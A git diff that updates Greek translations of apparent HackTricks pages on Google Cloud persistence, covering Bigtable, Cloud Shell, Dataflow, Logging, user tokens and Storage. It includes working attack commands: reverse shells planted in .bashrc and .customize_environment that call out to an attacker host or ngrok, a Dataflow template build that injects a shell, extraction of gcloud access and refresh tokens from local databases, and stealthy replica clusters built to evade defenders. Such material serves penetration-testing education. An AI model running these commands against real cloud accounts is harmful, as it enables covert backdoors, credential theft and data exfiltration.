diff --git a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-bigtable-persistence.md b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-bigtable-persistence.md
index 930046a1f..511acf309 100644
--- a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-bigtable-persistence.md
+++ b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-bigtable-persistence.md
@@ -1,4 +1,4 @@
-# GCP - Bigtable Επίμονη πρόσβαση
+# GCP - Bigtable Διατήρηση
{{#include ../../../banners/hacktricks-training.md}}
@@ -10,11 +10,15 @@
../gcp-services/gcp-bigtable-enum.md
{{#endref}}
-### Αφιερωμένο App Profile επιτιθέμενου
+### Αφιερωμένο attacker App Profile
**Δικαιώματα:** `bigtable.appProfiles.create`, `bigtable.appProfiles.update`.
-Δημιουργήστε ένα app profile που δρομολογεί την κίνηση στο replica cluster σας και ενεργοποιήστε το Data Boost ώστε να μην εξαρτάστε ποτέ από provisioned nodes που οι αμυνόμενοι μπορεί να παρατηρήσουν.
+Δημιουργήστε ένα app profile που δρομολογεί την κίνηση στο replica cluster σας και ενεργοποιήστε το Data Boost ώστε να μην εξαρτάστε ποτέ από provisioned nodes που μπορεί να παρατηρήσουν οι defenders.
+
+
+
+Δημιουργήστε stealth app profile
```bash
gcloud bigtable app-profiles create stealth-profile \
--instance= --route-any --restrict-to= \
@@ -24,29 +28,43 @@ gcloud bigtable app-profiles update stealth-profile \
--instance= --data-boost \
--data-boost-compute-billing-owner=HOST_PAYS
```
-Όσο υπάρχει αυτό το προφίλ, μπορείτε να επανασυνδεθείτε χρησιμοποιώντας νέα διαπιστευτήρια που αναφέρονται σε αυτό.
+
-### Διατηρήστε το δικό σας replica cluster
+Όσο αυτό το προφίλ υπάρχει, μπορείτε να επανασυνδεθείτε χρησιμοποιώντας νέα διαπιστευτήρια που το αναφέρουν.
+
+### Διατήρηση του δικού σας replica cluster
**Δικαιώματα:** `bigtable.clusters.create`, `bigtable.instances.update`, `bigtable.clusters.list`.
-Δημιουργήστε ένα cluster με ελάχιστο αριθμό κόμβων σε μια ήσυχη περιοχή. Ακόμα και αν οι ταυτότητες των client σας εξαφανιστούν, **το cluster διατηρεί ένα πλήρες αντίγραφο κάθε πίνακα** μέχρι οι αμυνόμενοι να το αφαιρέσουν ρητά.
+Δημιουργήστε ένα cluster με ελάχιστο αριθμό κόμβων σε μια περιοχή με χαμηλή δραστηριότητα. Ακόμη κι αν οι ταυτότητες των clients σας εξαφανιστούν, **το cluster διατηρεί ένα πλήρες αντίγραφο κάθε πίνακα** μέχρι να το αφαιρέσουν ρητά οι αμυνόμενοι.
+
+
+
+Δημιουργία replica cluster
```bash
gcloud bigtable clusters create dark-clone \
--instance= --zone=us-west4-b --num-nodes=1
```
-Παρακολούθησέ το μέσω `gcloud bigtable clusters describe dark-clone --instance=` ώστε να μπορείς να κλιμακώσεις αμέσως όταν χρειαστεί να τραβήξεις δεδομένα.
+
+
+Παρακολούθησέ το μέσω `gcloud bigtable clusters describe dark-clone --instance=` ώστε να μπορείς να κλιμακώσεις άμεσα όταν χρειαστεί να τραβήξεις δεδομένα.
### Κλείδωσε την αναπαραγωγή πίσω από το δικό σου CMEK
-**Δικαιώματα:** `bigtable.clusters.create`, `cloudkms.cryptoKeyVersions.useToEncrypt` on the attacker-owned key.
+**Δικαιώματα:** `bigtable.clusters.create`, `cloudkms.cryptoKeyVersions.useToEncrypt` στο attacker-owned key.
-Χρησιμοποίησε το δικό σου KMS key όταν στήνεις ένα clone. Χωρίς αυτό το key, Google δεν μπορεί να επαναδημιουργήσει ή να κάνει fail over το cluster, οπότε οι blue teams πρέπει να συντονιστούν μαζί σου πριν το αγγίξουν.
+Χρησιμοποίησε το δικό σου KMS key όταν δημιουργείς ένα clone. Χωρίς αυτό το key, Google δεν μπορεί να επαναδημιουργήσει ή να κάνει fail over το cluster, οπότε οι blue teams πρέπει να συντονιστούν μαζί σου πριν το πειράξουν.
+
+
+
+Δημιουργία cluster προστατευμένου με CMEK
```bash
gcloud bigtable clusters create cmek-clone \
--instance= --zone=us-east4-b --num-nodes=1 \
--kms-key=projects//locations//keyRings//cryptoKeys/
```
-Ανανεώστε ή απενεργοποιήστε το κλειδί στο έργο σας για να καταστήσετε αμέσως μη λειτουργικό το αντίγραφο (ενώ σας επιτρέπει να το ενεργοποιήσετε ξανά αργότερα).
+
+
+Περιστρέψτε ή απενεργοποιήστε το κλειδί στο project σας για να αχρηστεύσετε άμεσα τη replica (ενώ μπορείτε να την ενεργοποιήσετε ξανά αργότερα).
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-shell-persistence.md b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-shell-persistence.md
index 39371dc68..d309d2800 100644
--- a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-shell-persistence.md
+++ b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-shell-persistence.md
@@ -4,7 +4,7 @@
## Cloud Shell
-Για περισσότερες πληροφορίες ελέγξτε:
+Για περισσότερες πληροφορίες δείτε:
{{#ref}}
../gcp-services/gcp-cloud-shell-enum.md
@@ -12,45 +12,63 @@
### Persistent Backdoor
-[**Google Cloud Shell**](https://cloud.google.com/shell/) σας παρέχει πρόσβαση γραμμής εντολών στους πόρους σας στο cloud απευθείας από τον περιηγητή σας χωρίς κανένα σχετικό κόστος.
+[**Google Cloud Shell**](https://cloud.google.com/shell/) παρέχει πρόσβαση γραμμής εντολών στους πόρους του cloud σας απευθείας από το πρόγραμμα περιήγησης, χωρίς κανένα σχετικό κόστος.
-Μπορείτε να αποκτήσετε πρόσβαση στο Cloud Shell της Google από την **ιστοσελίδα κονσόλας** ή εκτελώντας **`gcloud cloud-shell ssh`**.
+Μπορείτε να έχετε πρόσβαση στο Google Cloud Shell από την **web console** ή εκτελώντας **`gcloud cloud-shell ssh`**.
-Αυτή η κονσόλα έχει κάποιες ενδιαφέρουσες δυνατότητες για τους επιτιθέμενους:
+Αυτή η κονσόλα έχει μερικές ενδιαφέρουσες δυνατότητες για attackers:
-1. **Οποιοσδήποτε χρήστης της Google με πρόσβαση στο Google Cloud** έχει πρόσβαση σε μια πλήρως αυθεντικοποιημένη περίπτωση Cloud Shell (Οι Λογαριασμοί Υπηρεσιών μπορούν, ακόμη και αν είναι Ιδιοκτήτες της οργάνωσης).
-2. Η εν λόγω περίπτωση θα **διατηρήσει τον κατάλογο αρχικής της για τουλάχιστον 120 ημέρες** αν δεν υπάρξει δραστηριότητα.
-3. Δεν υπάρχουν **δυνατότητες για μια οργάνωση να παρακολουθεί** τη δραστηριότητα αυτής της περίπτωσης.
+1. **Any Google user with access to Google Cloud** έχει πρόσβαση σε ένα πλήρως authenticated Cloud Shell instance (Service Accounts μπορούν, ακόμη και αν είναι Owners του org).
+2. Η συγκεκριμένη instance θα **διατηρεί τον home directory της για τουλάχιστον 120 days** αν δεν υπάρχει δραστηριότητα.
+3. Δεν υπάρχουν **δυνατότητες για έναν οργανισμό να παρακολουθεί** τη δραστηριότητα αυτής της instance.
-Αυτό σημαίνει βασικά ότι ένας επιτιθέμενος μπορεί να τοποθετήσει μια πίσω πόρτα στον κατάλογο αρχικής του χρήστη και όσο ο χρήστης συνδέεται στο GC Shell τουλάχιστον κάθε 120 ημέρες, η πίσω πόρτα θα επιβιώσει και ο επιτιθέμενος θα αποκτά πρόσβαση σε ένα shell κάθε φορά που εκτελείται απλά κάνοντας:
+Αυτό ουσιαστικά σημαίνει ότι ένας attacker μπορεί να τοποθετήσει ένα backdoor στον home directory του χρήστη και όσο ο χρήστης συνδέεται στο GC Shell τουλάχιστον κάθε 120days, το backdoor θα επιβιώσει και ο attacker θα αποκτά ένα shell κάθε φορά που εκτελείται απλά κάνοντας:
+
+
+
+Add reverse shell to .bashrc
```bash
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc
```
-Υπάρχει ένα άλλο αρχείο στον φάκελο home που ονομάζεται **`.customize_environment`** το οποίο, αν υπάρχει, θα **εκτελείται κάθε φορά** που ο χρήστης έχει πρόσβαση στο **cloud shell** (όπως στην προηγούμενη τεχνική). Απλά εισάγετε την προηγούμενη πίσω πόρτα ή μία όπως η παρακάτω για να διατηρήσετε την επιμονή όσο ο χρήστης χρησιμοποιεί "συχνά" το cloud shell:
+
+
+Υπάρχει ένα ακόμη αρχείο στο home folder με όνομα **`.customize_environment`** που, αν υπάρχει, θα εκτελείται κάθε φορά που ο χρήστης εισέρχεται στο **cloud shell** (όπως στην προηγούμενη τεχνική). Απλώς εισάγετε το προηγούμενο backdoor ή ένα όπως το παρακάτω για να διατηρήσετε persistence όσο ο χρήστης χρησιμοποιεί "συχνά" το cloud shell:
+
+
+
+Δημιουργία .customize_environment backdoor
```bash
#!/bin/sh
apt-get install netcat -y
nc 443 -e /bin/bash
```
-> [!WARNING]
-> Είναι σημαντικό να σημειωθεί ότι την **πρώτη φορά που εκτελείται μια ενέργεια που απαιτεί αυθεντικοποίηση**, εμφανίζεται ένα αναδυόμενο παράθυρο εξουσιοδότησης στον περιηγητή του χρήστη. Αυτό το παράθυρο πρέπει να γίνει αποδεκτό πριν μπορέσει να εκτελεστεί η εντολή. Εάν εμφανιστεί ένα απροσδόκητο αναδυόμενο παράθυρο, μπορεί να προκαλέσει υποψίες και ενδεχομένως να θέσει σε κίνδυνο τη μέθοδο επιμονής που χρησιμοποιείται.
+
-Αυτό είναι το αναδυόμενο παράθυρο από την εκτέλεση του `gcloud projects list` από το cloud shell (ως επιτιθέμενος) που προβάλλεται στη συνεδρία του περιηγητή του χρήστη:
+> [!WARNING]
+> Είναι σημαντικό να σημειωθεί ότι η **πρώτη φορά που εκτελείται μια ενέργεια που απαιτεί πιστοποίηση**, εμφανίζεται ένα αναδυόμενο παράθυρο εξουσιοδότησης στον browser του χρήστη. Αυτό το παράθυρο πρέπει να γίνει αποδεκτό πριν εκτελεστεί η εντολή. Αν εμφανιστεί ένα απρόσμενο αναδυόμενο παράθυρο, μπορεί να προκαλέσει υποψίες και ενδεχομένως να θέσει σε κίνδυνο τη μέθοδο persistence που χρησιμοποιείται.
+
+This is the pop-up from executing `gcloud projects list` from the cloud shell (as attacker) viewed in the browsers user session:
-Ωστόσο, εάν ο χρήστης έχει χρησιμοποιήσει ενεργά το cloudshell, το αναδυόμενο παράθυρο δεν θα εμφανιστεί και μπορείτε να **συγκεντρώσετε τα tokens του χρήστη με**:
+However, if the user has actively used the cloudshell, the pop-up won't appear and you can **gather tokens of the user with**:
+
+
+
+Get access tokens from Cloud Shell
```bash
gcloud auth print-access-token
gcloud auth application-default print-access-token
```
-#### Πώς καθορίζεται η σύνδεση SSH
+
-Βασικά, αυτές οι 3 κλήσεις API χρησιμοποιούνται:
+#### Πώς γίνεται η σύνδεση SSH
-- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey) \[POST] (θα σας κάνει να προσθέσετε το δημόσιο κλειδί που δημιουργήσατε τοπικά)
-- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start) \[POST] (θα σας κάνει να ξεκινήσετε την παρουσία)
-- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default](https://content-cloudshell.googleapis.com/v1/users/me/environments/default) \[GET] (θα σας πει τη διεύθυνση ip του google cloud shell)
+Βασικά, χρησιμοποιούνται αυτές οι 3 κλήσεις API:
+
+- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey) \[POST] (θα σας επιτρέψει να προσθέσετε την public key που δημιουργήσατε τοπικά)
+- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start) \[POST] (θα ξεκινήσει το instance)
+- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default](https://content-cloudshell.googleapis.com/v1/users/me/environments/default) \[GET] (θα σας πει το ip του google cloud shell)
Αλλά μπορείτε να βρείτε περισσότερες πληροφορίες στο [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)
diff --git a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-dataflow-persistence.md b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-dataflow-persistence.md
index bcd8e8e38..073251ab6 100644
--- a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-dataflow-persistence.md
+++ b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-dataflow-persistence.md
@@ -4,9 +4,13 @@
## Dataflow
-### Αόρατη επιμονή σε ενσωματωμένο κοντέινερ
+### Αόρατη persistence σε δημιουργημένο container
-Ακολουθώντας το [**tutorial από την τεκμηρίωση**](https://cloud.google.com/dataflow/docs/guides/templates/using-flex-templates) μπορείτε να δημιουργήσετε ένα νέο (π.χ. python) flex template:
+Ακολουθώντας τον [**οδηγό στην τεκμηρίωση**](https://cloud.google.com/dataflow/docs/guides/templates/using-flex-templates) μπορείτε να δημιουργήσετε ένα νέο (π.χ. python) flex template:
+
+
+
+Δημιουργία Dataflow flex template με backdoor
```bash
git clone https://github.com/GoogleCloudPlatform/python-docs-samples.git
cd python-docs-samples/dataflow/flex-templates/getting_started
@@ -36,9 +40,15 @@ gcloud dataflow $NAME_TEMPLATE build gs://$REPOSITORY/getting_started-py.json \
--env "/bin/bash -c 'bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/13355 0>&1' & #%s" \
--region=us-central1
```
-**Ενώ χτίζεται, θα λάβετε ένα reverse shell** (μπορείτε να εκμεταλλευτείτε τις μεταβλητές περιβάλλοντος όπως στο προηγούμενο παράδειγμα ή άλλες παραμέτρους που ρυθμίζουν το Docker file για να εκτελέσετε αυθαίρετα πράγματα). Σε αυτή τη στιγμή, μέσα στο reverse shell, είναι δυνατόν να **πάτε στον φάκελο `/template` και να τροποποιήσετε τον κώδικα του κύριου python script που θα εκτελείται (στο παράδειγμά μας αυτό είναι το `getting_started.py`)**. Ρυθμίστε το backdoor σας εδώ ώστε κάθε φορά που εκτελείται η εργασία, να το εκτελεί.
+
-Έτσι, την επόμενη φορά που θα εκτελείται η εργασία, θα τρέξει το συμβιβασμένο container που έχει χτιστεί:
+**Ενώ γίνεται build, θα αποκτήσετε ένα reverse shell** (μπορείτε να καταχραστείτε env variables όπως στο προηγούμενο παράδειγμα ή άλλα params που ορίζουν το Docker file να εκτελεί αυθαίρετα πράγματα). Σε αυτό το σημείο, μέσα στο reverse shell, είναι δυνατό να **μεταβείτε στον φάκελο `/template` και να τροποποιήσετε τον κώδικα του κύριου python script που θα εκτελεστεί (στο παράδειγμά μας αυτό είναι το `getting_started.py`)**. Τοποθετήστε εδώ το backdoor σας, ώστε κάθε φορά που το job εκτελείται, να εκτελείται και αυτό.
+
+Την επόμενη φορά που το job θα εκτελεστεί, το παραβιασμένο container που δημιουργήθηκε θα τρέξει:
+
+
+
+Εκτέλεση Dataflow template
```bash
# Run template
gcloud dataflow $NAME_TEMPLATE run testing \
@@ -46,4 +56,6 @@ gcloud dataflow $NAME_TEMPLATE run testing \
--parameters=output="gs://$REPOSITORY/out" \
--region=us-central1
```
+
+
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-logging-persistence.md b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-logging-persistence.md
index 01a4aadc8..84775b43f 100644
--- a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-logging-persistence.md
+++ b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-logging-persistence.md
@@ -1,10 +1,10 @@
-# GCP - Διαρκής Καταγραφή
+# GCP - Logging Persistence
{{#include ../../../banners/hacktricks-training.md}}
-## Καταγραφή
+## Logging
-Βρείτε περισσότερες πληροφορίες σχετικά με την Καταγραφή στο:
+Βρείτε περισσότερες πληροφορίες για το Logging στο:
{{#ref}}
../gcp-services/gcp-logging-enum.md
@@ -12,8 +12,14 @@
### `logging.sinks.create`
-Δημιουργήστε μια δεξαμενή για να εξάγετε τα αρχεία καταγραφής σε έναν προορισμό προσβάσιμο από τον επιτιθέμενο:
+Δημιουργήστε ένα sink για να exfiltrate τα logs σε προορισμό προσβάσιμο από attacker:
+
+
+
+Δημιουργία logging sink
```bash
gcloud logging sinks create --log-filter="FILTER_CONDITION"
```
+
+
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistence.md b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistence.md
index 5d21e3630..efa86f8f0 100644
--- a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistence.md
+++ b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistence.md
@@ -4,48 +4,76 @@
### Authenticated User Tokens
-Για να αποκτήσετε το **τρέχον token** ενός χρήστη, μπορείτε να εκτελέσετε:
+Για να λάβετε το **current token** ενός χρήστη, μπορείτε να εκτελέσετε:
+
+
+
+Λήψη access token από βάση δεδομένων SQLite
```bash
sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='';"
```
-Δείτε σε αυτή τη σελίδα πώς να **χρησιμοποιήσετε απευθείας αυτό το token χρησιμοποιώντας gcloud**:
+
+
+Δες σε αυτή τη σελίδα πώς να **χρησιμοποιήσεις άμεσα αυτό το token με gcloud**:
{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#gcp
{{#endref}}
-Για να αποκτήσετε τις λεπτομέρειες για **να δημιουργήσετε ένα νέο access token** εκτελέστε:
+Για να πάρεις τις λεπτομέρειες για να **generate a new access token** τρέξε:
+
+
+
+Πάρε το refresh token από τη βάση δεδομένων SQLite
```bash
sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='';"
```
-Είναι επίσης δυνατό να βρείτε refresh tokens στο **`$HOME/.config/gcloud/application_default_credentials.json`** και στο **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`**.
+
-Για να αποκτήσετε ένα νέο ανανεωμένο access token με το **refresh token**, client ID και client secret εκτελέστε:
+Επίσης είναι πιθανό να βρείτε refresh tokens στο **`$HOME/.config/gcloud/application_default_credentials.json`** και στο **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`**.
+
+Για να αποκτήσετε ένα νέο refreshed access token χρησιμοποιώντας το **refresh token**, το client ID και το client secret, εκτελέστε:
+
+
+
+Λήψη νέου access token χρησιμοποιώντας refresh token
```bash
curl -s --data client_id= --data client_secret= --data grant_type=refresh_token --data refresh_token= --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token
```
-Η εγκυρότητα των refresh tokens μπορεί να διαχειριστεί από **Admin** > **Security** > **Google Cloud session control**, και από προεπιλογή είναι ρυθμισμένη σε 16h αν και μπορεί να ρυθμιστεί να μην λήξει ποτέ:
+
+
+Η διάρκεια ισχύος των refresh tokens μπορεί να διαχειριστείται στο **Admin** > **Security** > **Google Cloud session control**, και από προεπιλογή ορίζεται σε 16h αν και μπορεί να ρυθμιστεί να μην λήγει ποτέ:
-### Auth flow
+### Ροή πιστοποίησης
-Η ροή αυθεντικοποίησης όταν χρησιμοποιείτε κάτι όπως το `gcloud auth login` θα ανοίξει ένα παράθυρο στον περιηγητή και μετά την αποδοχή όλων των scopes, ο περιηγητής θα στείλει ένα αίτημα όπως αυτό στην http θύρα που έχει ανοίξει το εργαλείο:
+Η ροή αυθεντικοποίησης όταν χρησιμοποιείτε κάτι σαν `gcloud auth login` θα ανοίξει ένα παράθυρο στο πρόγραμμα περιήγησης και μετά την αποδοχή όλων των scopes το πρόγραμμα περιήγησης θα στείλει ένα αίτημα όπως το ακόλουθο στην http θύρα που άνοιξε το εργαλείο:
```
/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1
```
-Τότε, το gcloud θα χρησιμοποιήσει την κατάσταση και τον κώδικα με ένα σκληρά κωδικοποιημένο `client_id` (`32555940559.apps.googleusercontent.com`) και **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`) για να αποκτήσει τα **τελικά δεδομένα ανανέωσης του token**.
+Then, gcloud will use the state and code with a some hardcoded `client_id` (`32555940559.apps.googleusercontent.com`) and **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`) to get the **final refresh token data**.
> [!CAUTION]
-> Σημειώστε ότι η επικοινωνία με το localhost είναι σε HTTP, οπότε είναι δυνατό να παγιδευτούν τα δεδομένα για να αποκτηθεί ένα refresh token, ωστόσο αυτά τα δεδομένα είναι έγκυρα μόνο 1 φορά, οπότε αυτό θα ήταν άχρηστο, είναι πιο εύκολο να διαβάσετε το refresh token από το αρχείο.
+> Σημειώστε ότι η επικοινωνία με το localhost γίνεται μέσω HTTP, οπότε είναι πιθανό να υποκλαπούν τα δεδομένα για να αποκτηθεί ένα refresh token, ωστόσο αυτά τα δεδομένα ισχύουν μόνο 1 φορά, οπότε αυτό θα ήταν άχρηστο — είναι πιο εύκολο απλώς να διαβάσετε το refresh token από το αρχείο.
### OAuth Scopes
-Μπορείτε να βρείτε όλους τους Google scopes στο [https://developers.google.com/identity/protocols/oauth2/scopes](https://developers.google.com/identity/protocols/oauth2/scopes) ή να τους αποκτήσετε εκτελώντας:
+You can find all Google scopes in [https://developers.google.com/identity/protocols/oauth2/scopes](https://developers.google.com/identity/protocols/oauth2/scopes) or get them executing:
+
+
+
+Λήψη όλων των Google OAuth scopes
```bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u
```
-Είναι δυνατόν να δείτε ποιες περιοχές υποστηρίζει η εφαρμογή που χρησιμοποιεί το **`gcloud`** για την αυθεντικοποίηση με αυτό το σενάριο:
+
+
+Είναι δυνατό να δείτε ποιες scopes μπορεί να υποστηρίξει η εφαρμογή που χρησιμοποιεί το **`gcloud`** για authentication με αυτό το script:
+
+
+
+Έλεγχος υποστηριζόμενων scopes για το gcloud
```bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope \r"
@@ -55,7 +83,9 @@ echo $scope
fi
done
```
-Μετά την εκτέλεση, ελέγχθηκε ότι αυτή η εφαρμογή υποστηρίζει αυτές τις περιοχές:
+
+
+Μετά την εκτέλεσή του, διαπιστώθηκε ότι αυτή η εφαρμογή υποστηρίζει τα εξής scopes:
```
https://www.googleapis.com/auth/appengine.admin
https://www.googleapis.com/auth/bigquery
@@ -65,22 +95,22 @@ https://www.googleapis.com/auth/devstorage.full_control
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/userinfo.email
```
-είναι ενδιαφέρον να δούμε πώς αυτή η εφαρμογή υποστηρίζει το **`drive`** scope, το οποίο θα μπορούσε να επιτρέψει σε έναν χρήστη να κλιμακώσει από το GCP στο Workspace αν ένας επιτιθέμενος καταφέρει να αναγκάσει τον χρήστη να δημιουργήσει ένα token με αυτό το scope.
+it's interesting to see how this app supports the **`drive`** scope, which could allow a user to escalate from GCP to Workspace if an attacker manages to force the user to generate a token with this scope.
-**Δείτε πώς να** [**καταχραστείτε αυτό εδώ**](../gcp-to-workspace-pivoting/index.html#abusing-gcloud)**.**
+**Δες πώς να** [**abuse this here**](../gcp-to-workspace-pivoting/index.html#abusing-gcloud)**.**
-### Λογαριασμοί Υπηρεσιών
+### Λογαριασμοί υπηρεσιών
-Ακριβώς όπως με τους αυθεντικοποιημένους χρήστες, αν καταφέρετε να **συμβιβάσετε το αρχείο ιδιωτικού κλειδιού** ενός λογαριασμού υπηρεσίας θα μπορείτε να **έχετε πρόσβαση σε αυτό συνήθως όσο θέλετε**.\
-Ωστόσο, αν κλέψετε το **OAuth token** ενός λογαριασμού υπηρεσίας αυτό μπορεί να είναι ακόμη πιο ενδιαφέρον, γιατί, ακόμη και αν από προεπιλογή αυτά τα tokens είναι χρήσιμα μόνο για μία ώρα, αν ο **θύμα διαγράψει το ιδιωτικό api key, το OAuh token θα παραμείνει έγκυρο μέχρι να λήξει**.
+Όπως και με τους επαληθευμένους χρήστες, αν καταφέρεις να **compromise the private key file** ενός service account θα μπορέσεις να **access it usually as long as you want**.\
+Ωστόσο, αν κλέψεις το **OAuth token** ενός service account αυτό μπορεί να είναι ακόμη πιο ενδιαφέρον, γιατί, ακόμα κι αν από προεπιλογή αυτά τα tokens είναι χρήσιμα μόνο για μία ώρα, αν ο **victim deletes the private api key, the OAuh token will still be valid until it expires**.
### Μεταδεδομένα
-Προφανώς, όσο βρίσκεστε μέσα σε μια μηχανή που τρέχει στο περιβάλλον GCP θα μπορείτε να **έχετε πρόσβαση στον λογαριασμό υπηρεσίας που είναι συνδεδεμένος σε αυτή τη μηχανή επικοινωνώντας με το endpoint μεταδεδομένων** (σημειώστε ότι τα Oauth tokens που μπορείτε να αποκτήσετε σε αυτό το endpoint είναι συνήθως περιορισμένα από scopes).
+Προφανώς, όσο βρίσκεσαι σε μια μηχανή που τρέχει στο περιβάλλον GCP θα μπορείς να **access the service account attached to that machine contacting the metadata endpoint** (σημείωση ότι τα Oauth tokens που μπορείς να προσπελάσεις σε αυτό το endpoint συνήθως περιορίζονται από scopes).
### Αντιμετώπιση
-Ορισμένες αντιμετωπίσεις για αυτές τις τεχνικές εξηγούνται στο [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2)
+Μερικές μεθόδους αντιμετώπισης για αυτές τις τεχνικές εξηγούνται στο [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2)
### Αναφορές
diff --git a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-storage-persistence.md b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-storage-persistence.md
index cc47de3cf..e6e938983 100644
--- a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-storage-persistence.md
+++ b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-storage-persistence.md
@@ -1,10 +1,10 @@
-# GCP - Αποθήκευση Επιμονής
+# GCP - Storage Persistence
{{#include ../../../banners/hacktricks-training.md}}
-## Αποθήκευση
+## Storage
-Για περισσότερες πληροφορίες σχετικά με το Cloud Storage, ελέγξτε:
+Για περισσότερες πληροφορίες σχετικά με το Cloud Storage δείτε:
{{#ref}}
../gcp-services/gcp-storage-enum.md
@@ -12,7 +12,11 @@
### `storage.hmacKeys.create`
-Μπορείτε να δημιουργήσετε ένα HMAC για να διατηρήσετε την επιμονή σε έναν κάδο. Για περισσότερες πληροφορίες σχετικά με αυτή την τεχνική [**ελέγξτε το εδώ**](../gcp-privilege-escalation/gcp-storage-privesc.md#storage.hmackeys.create).
+Μπορείτε να δημιουργήσετε ένα HMAC για να διατηρήσετε πρόσβαση σε ένα bucket. Για περισσότερες πληροφορίες σχετικά με αυτήν την τεχνική [**δείτε εδώ**](../gcp-privilege-escalation/gcp-storage-privesc.md#storage.hmackeys.create).
+
+
+
+Δημιουργία και χρήση HMAC key για πρόσβαση στο Storage
```bash
# Create key
gsutil hmac create
@@ -23,11 +27,13 @@ gsutil config -a
# Use it
gsutil ls gs://[BUCKET_NAME]
```
-Ένα άλλο σενάριο εκμετάλλευσης για αυτή τη μέθοδο μπορεί να βρεθεί [εδώ](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
+
-### Δώστε Δημόσια Πρόσβαση
+Ένα άλλο exploit script για αυτή τη μέθοδο μπορεί να βρεθεί [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
-**Η δημιουργία ενός bucket δημόσια προσβάσιμου** είναι ένας άλλος τρόπος για να διατηρήσετε την πρόσβαση στο bucket. Δείτε πώς να το κάνετε στο:
+### Παροχή δημόσιας πρόσβασης
+
+**Κάνοντας ένα bucket δημόσια προσβάσιμο** είναι ένας άλλος τρόπος για να διατηρήσετε πρόσβαση στο bucket. Δείτε πώς να το κάνετε στο:
{{#ref}}
../gcp-post-exploitation/gcp-storage-post-exploitation.md
diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-engine-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-engine-post-exploitation.md
index 3e192baa8..9ab03fda5 100644
--- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-engine-post-exploitation.md
